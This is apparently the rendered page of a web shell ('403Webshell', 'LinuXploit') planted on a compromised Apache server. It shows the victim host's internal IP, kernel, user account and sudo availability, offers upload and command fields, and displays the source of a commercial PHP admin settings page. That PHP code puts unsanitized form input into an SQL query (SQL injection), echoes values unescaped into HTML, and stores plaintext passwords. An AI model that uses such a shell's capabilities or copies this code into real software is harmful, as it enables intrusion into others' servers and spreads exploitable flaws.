403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usagrantapplications.org/vsa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usagrantapplications.org/vsa/settings.php
<?php
/*
Copyright (c) 2007-present InnAnTech Industries
Author: Dave Guindon
Web: www.VirtualSmartAgent.com
Support: www.DaveGuindonSupport.com

Please send bug reports, suggestions and/or feedback to the support
website given above.

Virtual Smart Agent is a commercial software. Any distribution is strictly prohibited
unless a resale rights license was delivered along with this software.
*/

include('myauth.php');
include('modfiles/db.php');
include('globals.php');
include('charts/tables.php');
include('charts/html_table.class.php');
include('charts/chartfunctions.php');
include('panelfunctions.php');

if ($_POST['actionbutton']){
  $username = $_POST['username'];  
  $password = $_POST['password'];
  $password2 = $_POST['password2'];  
  $fname = $_POST['fname'];  
  $lname = $_POST['lname'];  
  $email = $_POST['email'];    
  $installfolder = $_POST['installfolder'];  
  $installsite = $_POST['installsite'];
  
  //validate
  $err = '';
  if ((!isset($username))||($username=='')){
    $err[] = "Your username was not entered.";
  }
  if ((!isset($password))||($password=='')){
    $err[] = "Your password was not entered.";
  }
  if ((!isset($password2))||($password2=='')){
    $err[] = "You forgot to re-enter the password.";
  }
  if ((!isset($fname))||($fname=='')){
    $err[] = "Your first name was not entered.";
  }
  if ((!isset($lname))||($lname=='')){
    $err[] = "Your last name was not entered.";
  }
  if ((!isset($email))||($email=='')){
    $err[] = "Your email was not entered.";
  }    
  if ($password2 != $password){
    $err[] = "The passwords do not match.";
  }
  
  //check for errors  
  if ($err !== ''){  
    $show = 'There were some errors with the data you are trying to input:<br />';
	$show .= '<ul>';
	foreach($err as $value){
	  $show .= '<li>'.$value.'</li>';
	}
	$show .= '</ul><br />';
	$show = '<span style="color: #FF0000">'.$show.'</span>';	
  }else{
    //all good
	
	//update session variables
	$_SESSION['user'] = $username;
    $_SESSION['pass'] = $password;
	
	//update database	
	$sql = "UPDATE $settingsTable SET username='$username', password='$password', fname='$fname', lname='$lname', email='$email'";
    mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';
	
	$show = '<p><span style="color: #0000FF">Your settings have been successfully updated.</span></p>';  
  }
}else{
  //get the system settings
  $cid = $_SESSION['cid'];
  $sql = "SELECT * FROM $settingsTable";  
  $result = mysql_query($sql,$conn);mysql_error()?(print(mysql_error())):'';
  $data = mysql_fetch_assoc($result);
  $username = $data['username'];  
  $password = $data['password'];  
  $fname = $data['fname'];  
  $lname = $data['lname'];  
  $email = $data['email'];  
  $type = $data['type'];  
  $installfolder = $data['installfolder'];  
  $installsite = $data['installsite'];  
}

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<LINK href="style.css" type=text/css rel=stylesheet>
<title>Virtual Agent Control Panel</title>
<style type="text/css">
form {
	margin: 0;
	padding: 0;
}
</style>
</head>

<body>
<?php echo $menu; ?>
<table width="700" border="0" align="center" cellpadding="10" cellspacing="0" bgcolor="#FFFFFF" class="admin_grey_border">
  <tr>
    <td><div align="center"><strong>System Settings &amp; Features</strong><?php echo $errors; ?></div></td>
  </tr>
  <tr>
    <td><table width="100%" border="0" cellspacing="0" cellpadding="5">
      <tr>
        <td><p>This section contains some basic system settings and other important system features such as importing/exporting system data. It is highly recommended to frequently backup your settings so that you can easily restore your settings at anytime.</p></td>
      </tr>
      <tr>
        <td><hr class="grey_dashed" /></td>
      </tr>
      <tr>
        <td><?php echo $show; ?></td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Basic Settings</td>
      </tr>
      <tr>
        <td>
        <form name="settingsform" action="settings.php" method="post">
        <input type="hidden" name="installfolder" value="<?php echo $installfolder; ?>" />
        <input type="hidden" name="installsite" value="<?php echo $installsite; ?>" />
        <table width="100%" border="0" cellspacing="0" cellpadding="5">
          <tr>
            <td width="30%"><div align="right">First name:</div></td>
            <td width="78%"><input type="text" name="fname" id="fname" style="width: 250px" value="<?php echo $fname; ?>" /></td>
          </tr>
          <tr>
            <td><div align="right">Last name:</div></td>
            <td><input type="text" name="lname" id="lname" style="width: 250px" value="<?php echo $lname; ?>" /></td>
          </tr>
          <tr>
            <td><div align="right">Username:</div></td>
            <td><input type="text" name="username" id="username" style="width: 250px" value="<?php echo $username; ?>" /></td>
          </tr>
          <tr>
            <td><div align="right">Password:</div></td>
            <td><input type="password" name="password" id="password" style="width: 250px" value="<?php echo $password; ?>" /></td>
          </tr>
          <tr>
            <td nowrap="nowrap"><div align="right">Re-enter password:</div></td>
            <td><input type="password" name="password2" id="password2" style="width: 250px" value="<?php echo $password; ?>" /></td>
          </tr>
          <tr>
            <td><div align="right">Email:</div></td>
            <td><input type="text" name="email" id="email" style="width: 250px" value="<?php echo $email; ?>" /></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
            <td><input type="submit" name="actionbutton" id="actionbutton" value="Save Settings" /></td>
          </tr>        
        </table>
        </form>        </td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      </table>
      <form action="backup.php" method="post" enctype="multipart/form-data" target="_blank">
      <table width="100%" border="0" cellspacing="0" cellpadding="5">
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Export Visitor Email List</td>
      </tr>
      <tr>
        <td>Use this option to export your web visitor's  names and emails for all campaigns. The visitor data is only recorded when you use the built-in aweber form feature or you modify your newsletter form tag ids. Please see <a href="http://www.virtualsmartagent.com/help/index.php" target="_blank">help videos</a>.</td>
      </tr>
      <tr>
        <td><table width="213" border="0" cellspacing="0" cellpadding="1">
          <tr>
            <td width="8%"><input name="vdxradio" type="radio" id="vdxradio2" value="csv" checked="checked" /></td>
            <td nowrap="nowrap">Comma delimited file (.csv)</td>
          </tr>
          <tr>
            <td><input name="vdxradio" type="radio" id="vdxradio" value="txt" /></td>
            <td nowrap="nowrap">Plain text file (.txt)</td>
          </tr>
          <tr>
            <td colspan="2"><input type="submit" name="vdxbutton" id="vdxbutton" value="Export Visitor Data" /></td>
            </tr>
        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td bgcolor="#<?php echo $sectioncolor; ?>">Export / Import System Settings</td>
      </tr>
      <tr>
        <td>Here is where you can export all your system settings for backup. The system settings include all your initial and smart messages, display settings, and basic settings for the currently selected campaign. After importing previously saved system data, you must add your own agents before adding your virtual agent to a web page. Please see <a href="http://www.virtualsmartagent.com/help/index.php" target="_blank">help videos</a>.</td>
      </tr>
      <tr>
        <td><table width="100%" border="0" cellspacing="0" cellpadding="5">
          <tr>
            <td width="8%" bgcolor="#E9E9E9">Export:</td>
            <td bgcolor="#E9E9E9"><input type="submit" name="ssxbutton" id="ssxbutton" value="Export System Settings" /> 
              (data is saved as a VSA .vbk backup file)</td>
            </tr>
          <tr>
            <td colspan="2">&nbsp;</td>
            </tr>
          <tr>
            <td bgcolor="#E9E9E9">Import:</td>
            <td bgcolor="#E9E9E9">
              <table width="100%" border="0" cellspacing="0" cellpadding="1">
                <tr>
                  <td>(VSA .vbk backup files only)</td>
                </tr>
                <tr>
                  <td><input type="file" name="ssimportfile" size="40" />
                    <input type="submit" name="ssibutton" id="ssibutton" value="Import System Settings" /></td>
                </tr>
              </table>              </td>
            </tr>

        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td><hr class="grey_dashed" /></td>
      </tr>
    </table>
      </form></td>
  </tr>
  <tr>
    <td><div align="center"><?php echo $copyright; ?><?php echo $bottomlinks; ?></div></td>
  </tr>
</table>
<?php echo $cbottom; ?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit